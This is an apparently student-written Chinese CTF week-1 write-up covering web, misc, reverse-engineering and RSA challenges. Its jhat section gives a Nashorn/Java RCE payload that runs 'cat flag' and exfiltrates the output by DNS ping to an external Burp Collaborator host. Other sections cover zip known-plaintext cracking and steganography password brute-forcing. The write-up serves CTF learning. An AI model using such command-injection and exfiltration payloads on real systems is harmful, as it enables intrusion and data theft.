第一周我就有点开摆了,只吧web,逆向,和杂项给ak了(其他都懒得写了),密码只写了个rsa算法的题目,对rsa算法有了一些了解。下周要打起精神了,不能摆下去了。

web

1.2048*16

这道题目我们打开一个发现是一个2048的游戏,题目要求我们组合出32768这一个方块。我们查看源码会发现,该题目对源码进行了混淆,非常难看。

我们先进行常规搜索。如搜索alert,flag,32768都没有用
但是这道题目在下方给出了,2048这个游戏的原地址,那么这个游戏肯定是将2048进行了一些魔改。我们点开2048一些的原址,f12查看源码
搜索2048我们会发现一个变量e.value,我们虽然不知道这个e变量是什么但是我们可以进行调试,我们先在这一含加一个断点,运行

我们可以发现这个e里含有value,x和y,而且value值为2那么我们可以猜测一下,这个就是方块这个元素,xy代表位置和value代表值,我们尝试在控制台修改e.value的值,

取消断点,运行程序发现

多了个2048的方块。那么我们只要在我们的题目里找到e.value然后进行修改即可。
我们点开题目的控制台会发现其无线debug导致我们无法调试

在查了后发现我们可以输入如下代码解决,这个贼恶心,卡了我半天。

解决了放反调试后,我们搜索2048,会发现

虽然长的很抽象但是对比2048的源码我们可以看出来x[n(476)]就是e.value接下来就是重复上述步骤了。
注意该游戏不能直接该出32768的方块需要改出两个16384的进行组合。

2.bybassit

这道题目我们点开发现有一个注册,我们点开这个注册页面,会发现无法注册,但是我们发现其弹出的页面是js的alert弹窗,我们打开源码,果然是js搞的鬼

这个代码当我们点击注册时会触发,会将我们重定向会登陆界面,只要禁用js就可以了,注册后登陆(记得把js重新打开),之后就可以得到flag了

3.ezHTTP

用referer

改ua头

这个改ip的标头有很多,在网上搜一下之后一个一个试,

4.Select Courses

这道题目是我在没什么思路是随便点发现竟然选上了,思考了一下猜测是点击次数过多导致服务器处理不过来,所有我们直接抓包发包爆破即可

5.jhat

这道题目,提示需要进行rce,我们先点开,发现有一个oql的搜索框我们先随便搜索一下
发现报错了

在网上查一下这个报错发现这个是Nashorn JavaScript的报错
既然存在报错那么我们是不是可以使用java语句呢?尝试一下

1
2
var command = ["bash", "-c","cat flag"];
var processBuilder = new java.lang.ProcessBuilder(command);

返回为NULL没有报错证明了该代码执行成功,但是没有回显,这时我们需要使用DNS外带得到数据,我用的是bp的Collaborator模块,

4rwou6b6sy9z97sdtq2gu6umjdp5dw5ku.oastify.com是在Collaborator剪切的

我们只要ping这个地址就会产生日志,而我们使用如下方式ping就会将数据外带

1
"ping `cat flag`.4rwou6b6sy9z97sdtq2gu6umjdp5dw5ku.oastify.com"

paylaod如下
1
2
var command = ["bash", "-c", "ping `cat flag`.4rwou6b6sy9z97sdtq2gu6umjdp5dw5ku.oastify.com"];
var processBuilder = new java.lang.ProcessBuilder(command).start();


成功外带flag

misc

签到

发个公众号就可以了

SignIn

用你的时间打开这个附件,斜着看就可以了,当然也可以用工具调透视。

希儿希儿希尔

看题目描述我们可以猜测需要用到希尔加密
附件是一个图片格式为png,用010打开附件我们可以看到其最尾部不为图片的文件尾
文件头尾如下:

1
2
3
4
5
6
后缀名     文件头    文件尾
jpg/jpeg ffd8ffe0 ffd9
png 89504e47 ae426082
gif 474946383961 003b
zip 504b0304 504b
rar 52617221 无


我们可以很明显的看到图片的文件尾后还有一端,其开头为504b0304为zip文件,我们直接将其提取出来。解压后是一串密文,根据题目的描述我们可以猜测着个为希尔加密后的密文,那么我们只要找到key就应该可以得到flag了。
再将图片塞入StegSolve可以发现报错了,那么我们猜测这个文件的宽高应该被修改了(其实直接看文件的长宽也可以猜出来因为1444x1444太不吉利了),我们可以利用图片的CRC校验码解析修复,这里直接贴脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import struct
import binascii
with open('1.png','rb') as f:
m=f.read()
sign=0
for i in range(5000):
for j in range(5000):
c=m[12:16]+struct.pack('>i',i)+struct.pack('>i',j)+m[24:29]
crc=binascii.crc32(c)&0xffffffff
if crc==0x121B804D:
print(hex(i),hex(j))
sign=1
if sign==1:
break

利用上述脚本计算出宽高修改即可。
代表图片宽高的是IHDR后一个字节的16进制数前后4比特各代表了宽高

修复后扔到StegSolve利用LSB来查看隐写的内容

之后就直接使用bugku的希尔解密就可以得到弗拉格

simple_attackk

查看附件,有一个压缩包和一个图片
使用Bandizip查看文件,可以发现zip的压缩算法,并且压缩包内部有一个和另一个附件完全相同的图片,那么我们可以考虑使用明文爆破。
明文爆破需要使用相同的加密算法即压缩后的图片下面三项要与破密压缩包的相同

这里我用的是ARCHPR来明文爆破

只要能开始解密即代表,加密算法等相同
开始解密后直接点击停止,只要能停止一般就代表破译成功
解密压缩包后点卡文本

提示我们这是一个base64加密的图片,直接搜索base64转图片的网站即可得到flag

来自星尘的问候

得到附件,题目描述需要解密,这里我们需要使用一个解密工具叫Stegseek,这个工具是一个非常强大的解密软件,每秒可以跑百万个密码,可以快速的跑完一个非常强大的字典
使用他的-sf即可进行爆破

得到密码后再使用steghide进行解密
提取出来后为压缩文件解压后,为一个web源码和图片。


该图片是一串密文,根据题目描述,我们去该游戏的官网查看,可以发现该文字为游戏的文字。我们打开f12查找ttf文件(ttf文件是一种字体文件)找到后下载,上传到题目给的web页面进行解析,再输入宽输入字母和下划线,一一对照就能破解出flag。

逆向

说实话这个week1的逆向是真的够简单的我零基础,只是再网上稍微查一下就轻松ak了

ezIDA

没什么好说的直接塞到IDA里就是flag

ezUPX

我们得到附件放到Exeinfo查看其信息

我们可以看到是用UPX打包的,我们直接再网上下载UPX对其进行脱壳。

1
UPX -d 文件相对地址

脱壳后使用IDA打开文件,转成伪c代码,发现是

我们输入的字符异或上0x32等于变量byte_1400022A0即为flag,一个数异或两次就会变回原来的数。
我们双击byte_1400022A0然后SHIFT+e就可以提取其值,然后将每个值都异或上0x32即可得到flag脚本如下
1
2
3
4
c=[0x64, 0x7B, 0x76, 0x73,0x60, 0x49, 0x65, 0x5D,0x45, 0x13, 0x6B, 0x02,0x47, 0x6D, 0x59, 0x5C,0x02, 0x45, 0x6D, 0x06, 0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
flag=''
for i in rang(100)
flag+=(c[i]^0x32)

ezASM

打开文件是一个汇编语言

其大致意思就是输入的字符异或上0x22等于c即为flag,那么同样直接写脚本即可

ezPYC

这是一个python的脱壳我们将文件托入Exeinfo查看器打包信息

可以发现这是由PyInstaller进行打包的文件
我们可以使用pyinstxtractor.py进行提取

步骤1.

将需脱壳文件和pyinstxtractor.py文件置于同一文件夹内,在该路径内打开cmd

步骤2.获取pyc文件

python pyinstxtractor.py ezPYC.exe
就会再文件里输出ezPYC.exe_extracted文件夹,同时也可以看到pyinstaller和python的版本

步骤3修复Magic Head

一般而言,使用pyinstxtractor解包会自动修复MagicHead,如果没有自动修复则手动修复

在文件夹内找到ezPYC.pyc和struct.pyc文件,用winhex或者010editor打开,将struct文件的第一行(Magic head)复制到stream.pyc的最前面,保存更改

之后再用IDA打开ezPYC.pyc文件即可查看main函数内容,转成伪c代码即可发现其还是异或。

CRYPTO

ezRSA

关于rsa算法可以查看这个文章我个人认为写的非常好,这个文章将rsa算法的前置知识讲的很清楚,RSA算法
我们打开附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
phi=(p-1)*(q-1)
e=0x10001
c=pow(m,e,n)
leak1=pow(p,q,n)
leak2=pow(q,p,n)

print(f'leak1={leak1}')
print(f'leak2={leak2}')
print(f'c={c}')

发现其泄露了q^p%np^q%n
根据范马小定理

由于pq互质所以q^p-1%n=1两边同时乘上q得q^p%n=q另一个同理则我们得到了q和p的值。
我们就可以根据p和q还有e算出密钥d,我们只要求e对(q-1)(p-q)的模反元素即可脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex, b2a_hex

flag = "*****************"

p = 149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
q = 116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c = 10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))